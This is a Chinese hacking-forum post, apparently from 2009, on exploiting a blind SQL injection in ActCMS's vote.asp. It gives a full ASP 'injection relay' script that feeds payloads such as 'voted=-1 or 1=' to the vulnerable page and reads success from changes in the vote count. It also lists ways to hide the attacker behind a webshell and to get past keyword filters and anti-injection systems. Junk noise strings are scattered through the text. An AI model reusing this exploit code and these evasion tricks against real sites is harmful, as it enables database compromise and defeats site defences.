注入中转的高级应用，actcms漏洞以及其他

admin

  I' u$ Z5 K! O3 b$ x7 [1 y看到ninty大牛的blog的一篇文章
5 I1 l& K- V9 b+ a2 J链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
+ w' H+ x) Z, n. T! w/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ s* r* q, t- J% V% a
; K' c$ r" D2 d+ t: ~2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

  j) ]* C& E) p5 j3    response.end   
: g2 B7 D3 C/ h1 r7 E! g1 C
4    end if   
2 `4 W  I2 h& O) h9 e
5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8 Z, p; ]6 f1 p- i  K( _" k9 L8....   
% g! M5 y' X# S/ k+ w# S4 y2 }. i
  U: J0 w% A0 g0 Q. j8 Z% \% k  `9response.Redirect "index.asp?id="&id&""   
! N5 {* F8 c7 K4 \3 z  ~投票结束回跳转回index.asp这个投票结果页面
; J' I% h, L- x1 c  V7 Q; e如果投票成功票数加1
            失败票数不变
- \' A7 A1 e7 j+ h如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20
; H$ ~1 y( u# A1 }% i& ?
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
3 e& G; i; L# }7 g) o( g# \6 l6 k
本帖隐藏的内容需要回复才可以浏览
5 F% m: I. c6 o3 z0 g我们用注入中转来实现这个注入具体代码如下：
5 q- Y4 Q8 d& f5 H' {5 |9 [% t2 ^( {先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
7 B1 J1 B0 O' S2 m& m  r  L注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

/ u! i( ?5 n. P! z; `' x0 p03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
2 m' n, B8 P0 \
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! |' q% t& e- F+ S
05JmStr=URLEncoding(JmStr)
/ _3 A1 v7 f5 R, L. {
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
8 S. b/ Y9 M. g# H2 l
4 Q5 J+ Y: Q% R07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
0 C' }6 M- e' T, ?
08testurl=testurl & "?" & JmStr
) f; X. n) j6 F* x* N9 j
1 Y, q6 r& k2 i6 I( B09JMUrl=JMUrl & "?" & JmStr
- ^+ ]4 p8 ^# P9 K: }
2 S1 m( I3 v0 u8 M* [$ S10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
# f& e1 H# w! Y/ R9 z& z6 f
& z3 g4 E% Q6 i3 A5 m11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  
# K( E; r) S& u. c. P. H( |: ?4 o
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

3 r& s0 c# u/ g$ O) M' O( k14  
) l9 m" Y2 ~: }8 r3 d
/ }: Q7 {: P8 }1 U; B/ N' n15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, M6 L7 q) M. d- `2 B' i( V/ y
: @# E9 a* a/ z0 l+ p, T16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# ]* \, c5 E3 d' M
18response.write test1&""&test2&""
+ F" u6 H1 {5 L, x3 H7 m5 f
4 N) a8 F7 p+ }( O# T19  
; s& Q5 R* P& n  V  K' ?
6 y1 T! X/ D2 c0 {  r0 b) U20if test1=test2 then '如前后记录相等，表示失败

- u" l; o" e4 q3 @21  response.write "failed"

" k' ]/ `! T3 t. E22else

# r1 r1 f6 ?# ]23  response.write "succeed"
2 s' M% u( J( W7 a' m  j
24end if  

$ U  |8 y7 U: }+ Q. m# |, t; Q25  

26response.write "by 3x"
/ H- u$ ~5 f0 e' [' c% M  @7 O/ ?
27  

28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

$ p, \0 C; Z  W# W  G30Dim Http

, y9 O, ]6 F# J! k& |31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

; p. I8 O8 {, F32With Http

33  
# F! m6 ~4 G+ @7 X* G. W
34.Open "GET",PostUrl,False
- R. @$ k3 z9 {
9 Z4 u8 {' F  g9 j! E% D$ @35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" i: Q9 r" G. i$ b+ y
& f5 O% E. ?2 f9 q36.SetRequestHeader "Referer",PostRef

  V$ Y4 i* r7 h" ~7 F37.SetRequestHeader "Cookie",PostCok

38.Send ()
4 E+ I/ g$ v0 n1 k
( f2 c* V* o2 f  @39PostData = .ResponseBody

& R8 ^# z7 h; T6 w40End With

/ ]  ]- ~) T4 J8 X" `; l41Set Http = Nothing

$ Q9 x+ R2 o) D# z: T, o42PostData =bytes2BSTR(PostData)
5 k/ Z4 s  D7 G) V8 D
6 X: V6 C' |& ?43End Function

44  
# I2 ~: V8 v. ]
: e" v8 o. j* B5 _. }45  
; c% \2 V# \9 x: X& m$ B
0 b  O& @. ^. y0 {7 v46Function bytes2BSTR(vIn)
* K2 K) h# W( N3 F
/ ]9 U9 j5 A4 I2 f47Dim strReturn
$ z: a6 M, j# o8 D
48Dim I, ThisCharCode, NextCharCode
  p: Z0 R4 }) ]! ]
49strReturn = ""

50For I = 1 To LenB(vIn)
# F! p6 O+ ?, K5 \# J# @
  M1 ^! Z6 S1 O# j51ThisCharCode = AscB(MidB(vIn, I, 1))

  H( E- P  K8 g52If ThisCharCode < &H80 Then

' @" R9 ~; A+ d53strReturn = strReturn & Chr(ThisCharCode)
4 H3 y' Z6 P/ c, h; U' |. U
54Else

) Q8 R6 V7 P% ]55NextCharCode = AscB(MidB(vIn, I + 1, 1))

5 f: Z& z% g# _% m9 S2 l% Q56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

) h' U. I7 s2 R6 X) }57I = I + 1

# b/ s, e: Y& ^. G- t& z% y3 {0 D. s58End If

" x. a. |/ }, W: I& t59Next

$ Z3 |+ \5 z1 m  i60bytes2BSTR = strReturn

8 p- P. k. ~+ [3 ?+ V- n61End Function
# z! @7 b( U4 w6 F3 U+ B
' z0 ~) w) Y8 t$ j62  

& T. J9 r9 i" e# _, b  L5 a63Function URLEncoding(vstrin)  
7 d) }6 n0 r5 l! g6 C/ \: |
( v9 h  G1 Z! m64strReturn=""
0 }3 i% k4 |1 {7 x
65Dim i
3 x" O9 _5 H5 ?
- A, g/ l  e& U$ H# u66For i=1 To Len(vstrin)

# F/ k: @0 Z2 {8 o67ThisChr=Mid(vstrin,i,1)
( Y6 Y$ j* N, O4 p5 H7 C8 _% F
$ ~- Z- x1 x: A68if Abs(Asc(ThisChr))< &HFF Then
) D6 q8 T0 b; k/ x2 `5 |4 A/ L4 y
8 D* G8 }+ D/ }( j, ?69strReturn=strReturn & ThisChr

" _& _3 F% T0 ]$ e* j70Else
% p9 S# m; _) W7 w) t
71InnerCode=Asc(ThisChr)

- P" \( t6 ^1 n3 c' ^72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

74End If
: y2 O: I. T' G% F+ x
75Hight1=(InnerCode And &HFF00) \&HFF

1 d5 a% Y" G9 \+ [76Low1=InnerCode And &HFF

" s6 d# @' x9 G  c, g3 J77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

3 H  N& v6 E' d, Q$ X78End if

) O) V/ p3 J+ l+ o79Next
& ?% }% Z/ s2 i% A
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

$ `6 Q8 V! j2 F- A( Y; l& K81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
& q2 T% L  O. X" A, M2 x; G
/ D( P" f; V  R# g83URLEncoding=strReturn

. d4 b% L7 ?. q2 X7 O* v2 h7 N* V84End Function

. R3 ^0 L8 a2 _3 E85  
0 d' C# m( g2 L
' i4 C; V( }" @9 u* b86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
+ d' R4 ^0 i+ s+ Y! L' ^: B
88  endpot=instr(startpot,body," ")
, l' A% q9 g" [9 v
89  getSt=mid(body,startpot,endpot-startpot)
9 ?/ b. K* i1 m! x" K5 w3 B+ a
90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
, {9 Y7 s$ C  d3 R: j8 chttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
, K/ ]" i* C0 U, ^* R4 z
& Z9 q' X6 m7 i+ {* k/ Q/ K2009-12-27 13:29
投票失败
" [! g' S2 q- Rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

注入中转的一些其他应用
" ?7 @. b& n8 H4 t- ?& p其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
% x9 }7 l- y. _: }1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
9 E5 T. N% L9 A7 N* i8 L2.post注入转成get型的注入，方便我们使用工具来跑
8 a$ q; z% u' c) _( j3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
/ A9 p' w* d% c) @* C
0 A+ A# v' m0 F% J7 @5 E/ Z